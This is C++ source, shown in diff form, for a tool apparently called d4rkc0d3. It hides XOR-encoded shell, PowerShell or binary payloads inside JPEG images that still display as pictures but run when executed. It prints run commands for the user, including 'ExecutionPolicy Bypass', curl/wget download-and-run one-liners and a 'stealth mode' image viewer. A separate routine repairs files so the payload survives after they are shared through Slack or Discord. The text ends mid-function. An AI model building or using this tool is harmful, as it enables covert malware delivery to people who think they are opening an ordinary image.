[[nodiscard]] constexpr auto makeDefaultTailBytes() {
|
||||
return std::to_array<Byte>({
|
||||
0x9e, 0x23, 0x3e, 0x0d, 0x23, 0x00, 0x00, 0x20, 0x20, 0x00
|
||||
});
|
||||
}
|
||||
|
||||
[[nodiscard]] constexpr auto makeAltTailBytes() {
|
||||
return std::to_array<Byte>({
|
||||
0x00, 0x20, 0x20, 0x00, 0x00, 0x23, 0x3E, 0x0D, 0x23, 0x9e
|
||||
});
|
||||
}
|
||||
|
||||
void patchImageTail(vBytes& image_file_vec, Option option) {
|
||||
constexpr auto DEFAULT_BYTES = makeDefaultTailBytes();
|
||||
constexpr auto ALT_BYTES = makeAltTailBytes();
|
||||
|
||||
constexpr std::size_t TAIL_OFFSET = 2;
|
||||
|
||||
const std::span<const Byte> tail_bytes = [&] {
|
||||
switch (option) {
|
||||
case Option::Alt:
|
||||
return std::span<const Byte>(ALT_BYTES);
|
||||
case Option::None:
|
||||
return std::span<const Byte>(DEFAULT_BYTES);
|
||||
}
|
||||
throw std::runtime_error("Internal Error: Unknown tail patch option.");
|
||||
}();
|
||||
|
||||
if (image_file_vec.size() < JFIF_SIG_LENGTH ||
|
||||
image_file_vec.size() < tail_bytes.size() + TAIL_OFFSET) {
|
||||
throw std::runtime_error("Image File Error: Image too small after processing to apply tail patch.");
|
||||
}
|
||||
|
||||
std::ranges::reverse_copy(tail_bytes, image_file_vec.rbegin() + TAIL_OFFSET);
|
||||
}
|
||||
|
||||
// Overwrites 6 bytes at offset 0x0C in the APP0 with "XTW\n<#".
|
||||
// The \n puts "<#" on its own line, opening a PS block comment that hides
|
||||
// all JPEG binary data until the "#>" inside the ICC APP2 profile.
|
||||
void writeJfifCommentBlock(vBytes& image_file_vec) {
|
||||
constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
|
||||
0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
|
||||
});
|
||||
|
||||
if (image_file_vec.size() < JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size()) {
|
||||
throw std::runtime_error("Image File Error: Image too small to write JFIF comment block.");
|
||||
}
|
||||
|
||||
std::ranges::copy(JFIF_COMMENT_BLOCK,
|
||||
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_COMMENT_BLOCK_INDEX));
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string writeOutputFile(std::span<const Byte> bytes, std::string_view custom_name = {}) {
|
||||
constexpr mode_t OUTPUT_MODE = S_IRUSR | S_IWUSR | S_IXUSR;
|
||||
constexpr int OUTPUT_FLAGS = O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW;
|
||||
constexpr int MAX_OUTPUT_ATTEMPTS = 64;
|
||||
|
||||
if (bytes.empty()) {
|
||||
throw std::runtime_error("Image File Error: Output image is empty.");
|
||||
}
|
||||
|
||||
if (!custom_name.empty()) {
|
||||
std::string output_filename(custom_name);
|
||||
UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
|
||||
|
||||
if (output_fd.get() < 0) {
|
||||
if (errno == EEXIST) {
|
||||
throw std::runtime_error(std::format("Write Error: File \"{}\" already exists.", output_filename));
|
||||
}
|
||||
throw std::runtime_error(std::format("Write Error: Unable to create \"{}\": {}", output_filename, std::system_category().message(errno)));
|
||||
}
|
||||
|
||||
writeOutputBytes(output_filename, output_fd.get(), bytes);
|
||||
|
||||
const int raw_fd = output_fd.release();
|
||||
if (::close(raw_fd) != 0) {
|
||||
unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
|
||||
}
|
||||
|
||||
{
|
||||
UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
|
||||
if (sync_fd.get() >= 0) {
|
||||
::fsync(sync_fd.get());
|
||||
}
|
||||
}
|
||||
|
||||
return output_filename;
|
||||
}
|
||||
|
||||
std::random_device rd;
|
||||
|
||||
for (int attempt = 0; attempt < MAX_OUTPUT_ATTEMPTS; ++attempt) {
|
||||
std::string output_filename = std::format("d4rc0d3_{}.jpg", randomOutputSuffix(rd));
|
||||
UniqueFd output_fd(::open(output_filename.c_str(), OUTPUT_FLAGS, OUTPUT_MODE));
|
||||
|
||||
if (output_fd.get() < 0) {
|
||||
if (errno == EEXIST) {
|
||||
continue;
|
||||
}
|
||||
throw std::runtime_error(std::format("Write Error: Unable to create output file: {}", std::system_category().message(errno)));
|
||||
}
|
||||
|
||||
writeOutputBytes(output_filename, output_fd.get(), bytes);
|
||||
|
||||
const int raw_fd = output_fd.release();
|
||||
if (::close(raw_fd) != 0) {
|
||||
unlinkAndThrow(output_filename, "Write Error: Failed to close output file", errno);
|
||||
}
|
||||
|
||||
{
|
||||
UniqueFd sync_fd(::open(output_filename.c_str(), O_RDONLY | O_CLOEXEC));
|
||||
if (sync_fd.get() >= 0) {
|
||||
::fsync(sync_fd.get());
|
||||
}
|
||||
}
|
||||
|
||||
return output_filename;
|
||||
}
|
||||
|
||||
throw std::runtime_error("Write Error: Unable to create a unique output filename after multiple attempts.");
|
||||
}
|
||||
|
||||
[[nodiscard]] vBytes buildPolyglotOutputBytes(
|
||||
std::span<const Byte> image_file_vec,
|
||||
std::span<const Byte> profile_vec,
|
||||
std::span<const Byte> com_segment) {
|
||||
|
||||
constexpr std::size_t SOI_SIZE = 2;
|
||||
|
||||
if (image_file_vec.size() < JFIF_SIG_LENGTH) {
|
||||
throw std::runtime_error("Image File Error: Image too small to write output.");
|
||||
}
|
||||
|
||||
vBytes output_vec;
|
||||
output_vec.reserve(checkedAdd(
|
||||
checkedAdd(image_file_vec.size(), profile_vec.size(), "Output image"),
|
||||
com_segment.size(), "Output image"));
|
||||
|
||||
// SOI + COM + APP0(patched) + ICC + rest
|
||||
output_vec.insert(output_vec.end(),
|
||||
image_file_vec.begin(),
|
||||
image_file_vec.begin() + SOI_SIZE);
|
||||
|
||||
if (!com_segment.empty()) {
|
||||
output_vec.insert(output_vec.end(), com_segment.begin(), com_segment.end());
|
||||
}
|
||||
|
||||
output_vec.insert(output_vec.end(),
|
||||
image_file_vec.begin() + SOI_SIZE,
|
||||
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH));
|
||||
|
||||
output_vec.insert(output_vec.end(), profile_vec.begin(), profile_vec.end());
|
||||
|
||||
output_vec.insert(output_vec.end(),
|
||||
image_file_vec.begin() + static_cast<std::ptrdiff_t>(JFIF_SIG_LENGTH),
|
||||
image_file_vec.end());
|
||||
|
||||
return output_vec;
|
||||
}
|
||||
|
||||
[[nodiscard]] bool containsTailCloseSequence(std::span<const Byte> bytes) {
|
||||
constexpr auto TAIL_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
|
||||
constexpr std::size_t TAIL_SEARCH_WINDOW = 256;
|
||||
|
||||
const std::span<const Byte> tail = bytes.size() > TAIL_SEARCH_WINDOW ?
|
||||
bytes.last(TAIL_SEARCH_WINDOW) :
|
||||
bytes;
|
||||
|
||||
return !std::ranges::search(tail, std::span<const Byte>(TAIL_CLOSE_SIG)).empty();
|
||||
}
|
||||
|
||||
[[nodiscard]] vBytes buildTailStableOutput(
|
||||
std::span<const Byte> compatible_image_file_vec,
|
||||
std::span<const Byte> profile_vec,
|
||||
std::span<const Byte> com_segment,
|
||||
Option option,
|
||||
bool& reencoded_for_tail_stability) {
|
||||
|
||||
constexpr int MAX_TAIL_STABILITY_RETRIES = 512;
|
||||
|
||||
for (int attempt = 0; attempt <= MAX_TAIL_STABILITY_RETRIES; ++attempt) {
|
||||
vBytes candidate_image_file_vec;
|
||||
if (attempt == 0) {
|
||||
candidate_image_file_vec.assign(compatible_image_file_vec.begin(), compatible_image_file_vec.end());
|
||||
}
|
||||
else if (!makeTailRetryCandidate(compatible_image_file_vec, candidate_image_file_vec, attempt - 1)) {
|
||||
break;
|
||||
}
|
||||
|
||||
patchImageTail(candidate_image_file_vec, option);
|
||||
writeJfifCommentBlock(candidate_image_file_vec);
|
||||
|
||||
vBytes output_vec = buildPolyglotOutputBytes(candidate_image_file_vec, profile_vec, com_segment);
|
||||
if (!containsTailCloseSequence(output_vec)) {
|
||||
throw std::runtime_error("Tail Patch Error: Expected close-comment sequence was not present in output tail.");
|
||||
}
|
||||
const JpegWarningSummary warnings = inspectJpegWarnings(output_vec);
|
||||
if (!warnings.hasUnsafeTailWarning()) {
|
||||
reencoded_for_tail_stability = attempt > 0;
|
||||
return output_vec;
|
||||
}
|
||||
|
||||
if (attempt == 0 && warnings.extraneous_data > 0) {
|
||||
std::println("\nTail validation reported extraneous bytes before EOI; re-encoding cover image for a safer tail.\n");
|
||||
}
|
||||
}
|
||||
|
||||
throw std::runtime_error(
|
||||
"Image Compatibility Error: Unable to produce a tail-stable output image. "
|
||||
"Try another image or adjust JPEG quality/dimensions.");
|
||||
}
|
||||
|
||||
[[nodiscard]] std::string_view payloadModeLabel(PayloadMode mode) {
|
||||
switch (mode) {
|
||||
case PayloadMode::DirectPwsh: return "PowerShell (direct)";
|
||||
case PayloadMode::Script: return "script (bootstrap)";
|
||||
case PayloadMode::Binary: return "binary (bootstrap)";
|
||||
case PayloadMode::Command: return "inline commands";
|
||||
}
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
void printExecutionInstructions(
|
||||
const std::string& output_filename,
|
||||
PayloadMode mode,
|
||||
const BootstrapOptions& opts) {
|
||||
|
||||
const std::string f = output_filename;
|
||||
const std::string ps1 = std::filesystem::path(f).stem().string() + ".ps1";
|
||||
|
||||
std::println("\n── Execution ──────────────────────────────────────────────");
|
||||
std::println(" The .jpg is NOT modified or deleted. It stays as an image.");
|
||||
if (opts.keep_extracted) {
|
||||
std::println(" Extracted file will PERSIST after execution.");
|
||||
} else {
|
||||
std::println(" Only a temporary extracted file is created, used, and removed.");
|
||||
}
|
||||
if (!opts.extract_dir.empty()) {
|
||||
std::println(" Extraction directory: {}", opts.extract_dir);
|
||||
}
|
||||
std::println("");
|
||||
|
||||
std::println(" Direct execution (Linux, Mac — file is already +x):");
|
||||
std::println(" ./{}", f);
|
||||
std::println(" sh {} ← use this if file was shared via Slack/Discord", f);
|
||||
|
||||
if (mode == PayloadMode::DirectPwsh) {
|
||||
std::println(" (requires pwsh installed)");
|
||||
} else {
|
||||
std::println(" (uses POSIX sh — no extra dependencies)");
|
||||
}
|
||||
|
||||
if (opts.show_image) {
|
||||
std::println(" → Image viewer will open automatically (stealth mode)");
|
||||
}
|
||||
|
||||
std::println("");
|
||||
std::println(" PowerShell (requires .ps1 extension):");
|
||||
std::println(" cp {} {} && pwsh {}", f, ps1, ps1);
|
||||
std::println("");
|
||||
std::println(" Windows (cmd.exe):");
|
||||
std::println(" ren {} {} & pwsh {}", f, ps1, ps1);
|
||||
std::println(" powershell -ExecutionPolicy Bypass -File {}", ps1);
|
||||
|
||||
if (mode == PayloadMode::Script || mode == PayloadMode::Binary) {
|
||||
std::println("");
|
||||
std::println(" Suppress header noise:");
|
||||
std::println(" ./{} 2>/dev/null", f);
|
||||
}
|
||||
|
||||
std::println("");
|
||||
std::println(" One-liner download + run:");
|
||||
std::println(" curl -o i.jpg \"<URL>\" && sh i.jpg");
|
||||
std::println(" wget -O i.jpg \"<URL>\" && sh i.jpg");
|
||||
std::println("");
|
||||
std::println(" If file was shared via Slack/Discord (Slack replaces APP0):");
|
||||
if (mode == PayloadMode::Command) {
|
||||
std::println(" sh {} ← payload survives (inline command)", f);
|
||||
} else {
|
||||
std::println(" ⚠ Script/binary payloads are REMOVED by Slack (post-EOI stripped).");
|
||||
std::println(" Use -c 'commands' for Slack-compatible payloads.");
|
||||
}
|
||||
std::println(" d4rkc0d3 --fix-slack {} fixed.jpg && bash fixed.jpg", f);
|
||||
std::println("──────────────────────────────────────────────────────────");
|
||||
}
|
||||
}
|
||||
|
||||
[[nodiscard]] static int fixSlack(int argc, char** argv) {
|
||||
if (argc < 3) {
|
||||
std::println(stderr, "Usage: {} --fix-slack <slack-file.jpg> [output.jpg]", argv[0]);
|
||||
std::println(stderr, "");
|
||||
std::println(stderr, "Patches a Slack-processed d4rkc0d3 polyglot to restore bash-executability.");
|
||||
std::println(stderr, "Slack replaces the shell-safe APP0 with a standard JFIF APP0 containing");
|
||||
std::println(stderr, "NUL bytes that cause bash to reject the file as binary.");
|
||||
std::println(stderr, "");
|
||||
std::println(stderr, "After fixing, execute with: ./<output.jpg> or bash <output.jpg>");
|
||||
std::println(stderr, "");
|
||||
std::println(stderr, "Note: script-mode payloads (.sh, .py, etc.) are REMOVED by Slack.");
|
||||
std::println(stderr, "Only -c (inline command) payloads survive Slack processing.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
const std::string input_path = argv[2];
|
||||
const std::string output_path = (argc >= 4) ? argv[3] : input_path + ".fixed.jpg";
|
||||
|
||||
std::ifstream in(input_path, std::ios::binary);
|
||||
if (!in) {
|
||||
std::println(stderr, "Error: cannot open '{}'", input_path);
|
||||
return 1;
|
||||
}
|
||||
vBytes data((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
|
||||
in.close();
|
||||
|
||||
if (data.size() < 20) {
|
||||
std::println(stderr, "Error: file too small to be a JPEG");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (data[0] != 0xFF || data[1] != 0xD8) {
|
||||
std::println(stderr, "Error: not a JPEG file (missing SOI)");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::size_t app0_pos = std::string::npos;
|
||||
for (std::size_t i = 2; i + 3 < data.size(); ) {
|
||||
if (data[i] != 0xFF) break;
|
||||
const Byte marker = data[i + 1];
|
||||
if (marker == 0xE0) {
|
||||
app0_pos = i;
|
||||
break;
|
||||
}
|
||||
if (i + 3 >= data.size()) break;
|
||||
const std::size_t seg_len = (static_cast<std::size_t>(data[i + 2]) << 8) | data[i + 3];
|
||||
if (seg_len < 2) break;
|
||||
i += 2 + seg_len;
|
||||
}
|
||||
|
||||
if (app0_pos == std::string::npos) {
|
||||
std::println(stderr, "Error: no APP0 segment found — may not be a Slack-processed file");
|
||||
return 1;
|
||||
}
|
||||
|
||||
const std::size_t app0_len_field = (static_cast<std::size_t>(data[app0_pos + 2]) << 8)
|
||||
| data[app0_pos + 3];
|
||||
const std::size_t app0_end = app0_pos + 2 + app0_len_field;
|
||||
|
||||
if (app0_end > data.size()) {
|
||||
std::println(stderr, "Error: APP0 segment extends beyond end of file");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int nul_count = 0;
|
||||
for (std::size_t i = app0_pos; i < app0_end; ++i)
|
||||
if (data[i] == 0x00) ++nul_count;
|
||||
|
||||
if (nul_count == 0) {
|
||||
std::println("APP0 has no NUL bytes — file may already be compatible with bash.");
|
||||
std::println("Copying as-is to: {}", output_path);
|
||||
} else {
|
||||
std::println("APP0 at offset {}: {} bytes, {} NUL(s) found", app0_pos, app0_len_field, nul_count);
|
||||
std::println("APP0 at offset {}: {} bytes, {} NUL(s) — patching...",
|
||||
app0_pos, app0_len_field, nul_count);
|
||||
constexpr auto JFIF_COMMENT_BLOCK = std::to_array<Byte>({
|
||||
0x58, 0x54, 0x57, 0x0A, 0x3C, 0x23
|
||||
});
|
||||
if (app0_pos + JFIF_COMMENT_BLOCK_INDEX + JFIF_COMMENT_BLOCK.size() <= data.size()) {
|
||||
std::ranges::copy(JFIF_COMMENT_BLOCK,
|
||||
data.begin() + static_cast<std::ptrdiff_t>(
|
||||
app0_pos + JFIF_COMMENT_BLOCK_INDEX - 2));
|
||||
}
|
||||
for (std::size_t i = app0_pos; i < app0_end; ++i) {
|
||||
if (data[i] == 0x00) data[i] = 0x01;
|
||||
}
|
||||
std::println("Done.");
|
||||
}
|
||||
|
||||
const auto first64_end = std::min(data.size(), std::size_t{64});
|
||||
const int remaining_nuls = static_cast<int>(
|
||||
std::count(data.begin(), data.begin() + static_cast<std::ptrdiff_t>(first64_end), Byte{0x00}));
|
||||
if (remaining_nuls > 0) {
|
||||
std::println("Warning: {} NUL(s) remain in first 64 bytes — bash may still reject file.", remaining_nuls);
|
||||
std::println("Use 'sh <file>' or the one-liner instead:");
|
||||
std::println(" grep -am1 '^#0:' {} | cut -c4- | base64 -d | sh -s {}", output_path, output_path);
|
||||
} else {
|
||||
std::println("No NUL bytes in first 64 bytes — bash-executable. ✓");
|
||||
}
|
||||
|
||||
{
|
||||
std::ofstream out(output_path, std::ios::binary);
|
||||
if (!out) {
|
||||
std::println(stderr, "Error: cannot write to '{}'", output_path);
|
||||
return 1;
|
||||
}
|
||||
out.write(reinterpret_cast<const char*>(data.data()),
|
||||
static_cast<std::streamsize>(data.size()));
|
||||
}
|
||||
std::println("Saved: {} ({} bytes)", output_path, data.size());
|
||||
std::println("");
|
||||
std::println("Execute with:");
|
||||
std::println(" chmod +x {} && ./{}", output_path, output_path);
|
||||
std::println(" or: bash {}", output_path);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc >= 2 && std::string_view(argv[1]) == "--fix-slack") {
|
||||
return fixSlack(argc, argv);
|
||||
}
|
||||
|
||||
try {
|
||||
auto args_opt = ProgramArgs::parse(argc, argv);
|
||||
if (!args_opt) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
const auto& args = *args_opt;
|
||||
|
||||
const BootstrapOptions boot_opts{
|
||||
.keep_extracted = args.keep_extracted,
|
||||
.show_image = args.show_image,
|
||||
.sequential = args.sequential,
|
||||
.extract_dir = args.extract_dir
|
||||
};
|
||||
|
||||
vBytes image_file_vec = readFile(args.image_file_path, FileTypeCheck::cover_image);
|
||||
|
||||
vBytes xor_key = generateXorKey(XOR_KEY_LENGTH);
|
||||
|
||||
vBytes script_bytes;
|
||||
vBytes payload_for_eoi;
|
||||
|
||||
if (args.payload_mode == PayloadMode::Command) {
|
||||
script_bytes = generateBootstrap(
|
||||
PayloadMode::Command, {}, {}, args.inline_commands, boot_opts, xor_key);
|
||||
std::println("\nPayload mode: inline commands ({} bytes)", args.inline_commands.size());
|
||||
|
||||
} else if (args.payload_mode == PayloadMode::DirectPwsh) {
|
||||
vBytes payload_vec = readFile(args.payload_file_path, FileTypeCheck::script_file);
|
||||
rejectUnsupportedTextEncoding(payload_vec);
|
||||
stripUtf8Bom(payload_vec);
|
||||
script_bytes = generateBootstrap(
|
||||
PayloadMode::DirectPwsh, payload_vec, args.payload_file_path, "", boot_opts, xor_key);
|
||||
std::println("\nPayload mode: {} ({} bytes)",
|
||||
payloadModeLabel(args.payload_mode), payload_vec.size());
|
||||
|
||||
} else {
|
||||
vBytes payload_vec = readFile(
|
||||
args.payload_file_path, FileTypeCheck::payload_file);
|
||||
|
||||
if (args.payload_mode == PayloadMode::Script) {
|
||||
rejectUnsupportedTextEncoding(payload_vec);
|
||||
stripUtf8Bom(payload_vec);
|
||||
}
|
||||
|
||||
payload_for_eoi = std::move(payload_vec);
|
||||
|
||||
script_bytes = generateBootstrap(
|
||||
args.payload_mode, payload_for_eoi, args.payload_file_path,
|
||||
args.inline_commands, boot_opts, xor_key);
|
||||
std::println("\nPayload mode: {} ({} bytes)",
|
||||
payloadModeLabel(args.payload_mode), payload_for_eoi.size());
|
||||
if (!args.inline_commands.empty()) {
|
||||
std::println("Inline commands prepended: {}", args.inline_commands);
|
||||
}
|
||||
}
|
||||
|
||||
std::println("XOR encoding: active ({}-byte key)", XOR_KEY_LENGTH);
|
||||
|
||||
vBytes profile_vec = buildProfilePayload(script_bytes, MAX_PROFILE_SEGMENT, xor_key);
|
||||
|
||||
std::string shell_post_eoi;
|
||||
vBytes com_segment = buildShellComSegment(args.payload_mode, args.payload_file_path, args.inline_commands, boot_opts, xor_key, &shell_post_eoi);
|
||||
|
||||
vBytes post_eoi_data = generatePostEoiPayload(payload_for_eoi, xor_key, shell_post_eoi);
|
||||
|
||||
const bool image_was_modified = ensureImageCompatible(image_file_vec);
|
||||
|
||||
if (image_was_modified) {
|
||||
std::println("");
|
||||
}
|
||||
|
||||
bool reencoded_for_tail_stability = false;
|
||||
vBytes output_file_vec = buildTailStableOutput(image_file_vec, profile_vec, com_segment, args.option, reencoded_for_tail_stability);
|
||||
|
||||
if (!post_eoi_data.empty()) {
|
||||
output_file_vec.insert(output_file_vec.end(), post_eoi_data.begin(), post_eoi_data.end());
|
||||
}
|
||||
|
||||
const std::size_t total_output_size = output_file_vec.size();
|
||||
const std::string output_filename = writeOutputFile(output_file_vec, args.output_filename);
|
||||
|
||||
std::println("\nSaved JPG polyglot image: {} ({} bytes).", output_filename, total_output_size);
|
||||
|
||||
if (reencoded_for_tail_stability) {
|
||||
std::println("\nTail validation avoided an output with extraneous bytes before EOI.");
|
||||
}
|
||||
|
||||
if (image_was_modified) {
|
||||
std::println("\nComment-block close sequences successfully removed from image.");
|
||||
std::println("\nPlease check to make sure size & quality of cover image is acceptable.");
|
||||
}
|
||||
|
||||
printExecutionInstructions(output_filename, args.payload_mode, boot_opts);
|
||||
|
||||
std::println("\nComplete!\n");
|
||||
return 0;
|
||||
}
|
||||
catch (const std::runtime_error& e) {
|
||||
std::println(std::cerr, "\n{}\n", e.what());
|
||||
return 1;
|
||||
}
|
||||
catch (const std::exception& e) {
|
||||
std::println(std::cerr, "\nUnexpected error: {}\n", e.what());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,299 @@
|
||||
#include "file_utils.h"
|
||||
|
||||
// stb_image: single-header PNG/JPEG/BMP loader used for PNG→JPEG conversion.
|
||||
// STB_IMAGE_IMPLEMENTATION must be defined in exactly one .cpp file.
|
||||
#define STB_IMAGE_IMPLEMENTATION
|
||||
#define STBI_ONLY_PNG
|
||||
#define STBI_ONLY_JPEG
|
||||
#define STBI_NO_FAILURE_STRINGS
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wconversion"
|
||||
#pragma GCC diagnostic ignored "-Wsign-conversion"
|
||||
#pragma GCC diagnostic ignored "-Wpedantic"
|
||||
#pragma GCC diagnostic ignored "-Wunused-function"
|
||||
#include "stb_image/include/stb_image.h"
|
||||
#pragma GCC diagnostic pop
|
||||
|
||||
#include <turbojpeg.h>
|
||||
#include <algorithm>
|
||||
#include <cerrno>
|
||||
#include <cctype>
|
||||
#include <format>
|
||||
#include <fcntl.h>
|
||||
#include <initializer_list>
|
||||
#include <limits>
|
||||
#include <span>
|
||||
#include <stdexcept>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <sys/stat.h>
|
||||
#include <system_error>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
namespace {
|
||||
constexpr std::size_t MIN_COVER_IMAGE_FILE_SIZE = 134;
|
||||
constexpr std::size_t MAX_COVER_IMAGE_FILE_SIZE = 5 * 1024 * 1024;
|
||||
constexpr std::size_t MIN_SCRIPT_FILE_SIZE = 10;
|
||||
constexpr std::size_t MIN_PAYLOAD_FILE_SIZE = 1;
|
||||
|
||||
[[noreturn]] void throwPathError(std::string_view action, const fs::path& path, int error_code) {
|
||||
throw std::runtime_error(std::format("{}: {} ({})", action, path.string(), std::system_category().message(error_code)));
|
||||
}
|
||||
|
||||
struct OpenFileResult {
|
||||
UniqueFd fd;
|
||||
struct stat status{};
|
||||
};
|
||||
|
||||
[[nodiscard]] bool hasValidFilename(const fs::path& p) {
|
||||
const std::string filename = p.filename().string();
|
||||
if (filename.empty()) {
|
||||
return false;
|
||||
}
|
||||
return std::ranges::all_of(filename, [](unsigned char c) {
|
||||
return std::isalnum(c) || c == '.' || c == '-' || c == '_' || c == '@' || c == '%';
|
||||
});
|
||||
}
|
||||
|
||||
[[nodiscard]] bool hasFileExtension(const fs::path& p, std::initializer_list<std::string_view> exts) {
|
||||
const std::string ext = p.extension().string();
|
||||
const auto ieq = [](char a, char b) {
|
||||
return std::tolower(static_cast<unsigned char>(a)) == std::tolower(static_cast<unsigned char>(b));
|
||||
};
|
||||
return std::ranges::any_of(exts, [&](std::string_view expected) {
|
||||
return ext.size() == expected.size() &&
|
||||
std::ranges::equal(ext, expected, ieq);
|
||||
});
|
||||
}
|
||||
|
||||
void validateCoverImageFile(const fs::path& path, std::size_t file_size) {
|
||||
if (!hasFileExtension(path, {".jpg", ".jpeg", ".jfif", ".png"})) {
|
||||
throw std::runtime_error("File Type Error: Invalid image extension. Expecting \".jpg\", \".jpeg\", \".jfif\", or \".png\".");
|
||||
}
|
||||
if (file_size < MIN_COVER_IMAGE_FILE_SIZE) {
|
||||
throw std::runtime_error("File Error: Invalid image file size.");
|
||||
}
|
||||
if (file_size > MAX_COVER_IMAGE_FILE_SIZE) {
|
||||
throw std::runtime_error("Image File Error: Cover image file exceeds maximum size limit.");
|
||||
}
|
||||
}
|
||||
|
||||
void validateScriptFile(const fs::path& path, std::size_t file_size) {
|
||||
if (!hasFileExtension(path, {".ps1"})) {
|
||||
throw std::runtime_error("File Type Error: Invalid script extension. Only expecting \".ps1\".");
|
||||
}
|
||||
if (file_size < MIN_SCRIPT_FILE_SIZE) {
|
||||
throw std::runtime_error("Script File Error: PowerShell script is below minimum size.");
|
||||
}
|
||||
}
|
||||
|
||||
void validatePayloadFile(const fs::path& path, std::size_t file_size) {
|
||||
if (!path.has_extension()) {
|
||||
throw std::runtime_error("File Type Error: Payload file must have an extension.");
|
||||
}
|
||||
if (file_size < MIN_PAYLOAD_FILE_SIZE) {
|
||||
throw std::runtime_error("Payload File Error: Payload file is empty.");
|
||||
}
|
||||
}
|
||||
|
||||
[[nodiscard]] OpenFileResult openRegularFileNoFollow(const fs::path& path) {
|
||||
constexpr int OPEN_FLAGS = O_RDONLY | O_CLOEXEC | O_NOFOLLOW;
|
||||
|
||||
OpenFileResult result{ .fd = UniqueFd(::open(path.c_str(), OPEN_FLAGS)) };
|
||||
|
||||
if (result.fd.get() < 0) {
|
||||
const int error_code = errno;
|
||||
|
||||
if (error_code == ENOENT) {
|
||||
throw std::runtime_error(std::format("Error: File \"{}\" not found.", path.string()));
|
||||
}
|
||||
if (error_code == ELOOP) {
|
||||
throw std::runtime_error("Error: Symbolic links are not permitted.");
|
||||
}
|
||||
|
||||
throwPathError("Failed to open file", path, error_code);
|
||||
}
|
||||
|
||||
if (::fstat(result.fd.get(), &result.status) != 0) {
|
||||
throwPathError("Failed to stat file", path, errno);
|
||||
}
|
||||
|
||||
if (!S_ISREG(result.status.st_mode)) {
|
||||
throw std::runtime_error(std::format("Error: \"{}\" is not a regular file.", path.string()));
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
[[nodiscard]] std::size_t fileSizeFromStat(const fs::path& path, const struct stat& status) {
|
||||
if (status.st_size <= 0) {
|
||||
throw std::runtime_error("Error: File is empty.");
|
||||
}
|
||||
|
||||
const auto raw_size = static_cast<std::uintmax_t>(status.st_size);
|
||||
if (raw_size > static_cast<std::uintmax_t>(std::numeric_limits<std::size_t>::max())) {
|
||||
throw std::runtime_error(std::format("Error: File \"{}\" is too large to process on this platform.", path.string()));
|
||||
}
|
||||
|
||||
return static_cast<std::size_t>(raw_size);
|
||||
}
|
||||
|
||||
void validateFileType(const fs::path& path, std::size_t file_size, FileTypeCheck file_type) {
|
||||
switch (file_type) {
|
||||
case FileTypeCheck::cover_image:
|
||||
validateCoverImageFile(path, file_size);
|
||||
return;
|
||||
|
||||
case FileTypeCheck::script_file:
|
||||
validateScriptFile(path, file_size);
|
||||
return;
|
||||
|
||||
case FileTypeCheck::payload_file:
|
||||
validatePayloadFile(path, file_size);
|
||||
return;
|
||||
}
|
||||
throw std::runtime_error("Internal Error: Unknown file type check.");
|
||||
}
|
||||
|
||||
void readExact(const fs::path& path, int fd, std::span<Byte> buffer) {
|
||||
while (!buffer.empty()) {
|
||||
const auto chunk_size = std::min<std::size_t>(buffer.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
|
||||
const auto bytes_read = ::read(fd, buffer.data(), chunk_size);
|
||||
|
||||
if (bytes_read > 0) {
|
||||
buffer = buffer.subspan(static_cast<std::size_t>(bytes_read));
|
||||
continue;
|
||||
}
|
||||
if (bytes_read == 0) {
|
||||
throw std::runtime_error("Failed to read full file: unexpected EOF.");
|
||||
}
|
||||
if (errno != EINTR) {
|
||||
throwPathError("Failed to read file", path, errno);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[[nodiscard]] bool sameTimestamp(const timespec& lhs, const timespec& rhs) {
|
||||
return lhs.tv_sec == rhs.tv_sec && lhs.tv_nsec == rhs.tv_nsec;
|
||||
}
|
||||
|
||||
#ifdef __APPLE__
|
||||
#define JPWS_ST_MTIM st_mtimespec
|
||||
#define JPWS_ST_CTIM st_ctimespec
|
||||
#else
|
||||
#define JPWS_ST_MTIM st_mtim
|
||||
#define JPWS_ST_CTIM st_ctim
|
||||
#endif
|
||||
|
||||
void verifyFileUnchanged(const fs::path& path, int fd, const struct stat& expected_status, std::size_t expected_size) {
|
||||
struct stat current_status{};
|
||||
|
||||
if (::fstat(fd, ¤t_status) != 0) {
|
||||
throwPathError("Failed to stat file after read", path, errno);
|
||||
}
|
||||
|
||||
if (!S_ISREG(current_status.st_mode)) {
|
||||
throw std::runtime_error(std::format("Error: \"{}\" is no longer a regular file.", path.string()));
|
||||
}
|
||||
|
||||
if (current_status.st_dev != expected_status.st_dev ||
|
||||
current_status.st_ino != expected_status.st_ino ||
|
||||
current_status.st_mode != expected_status.st_mode ||
|
||||
current_status.st_size < 0 ||
|
||||
static_cast<std::uintmax_t>(current_status.st_size) != static_cast<std::uintmax_t>(expected_size) ||
|
||||
!sameTimestamp(current_status.JPWS_ST_MTIM, expected_status.JPWS_ST_MTIM) ||
|
||||
!sameTimestamp(current_status.JPWS_ST_CTIM, expected_status.JPWS_ST_CTIM)) {
|
||||
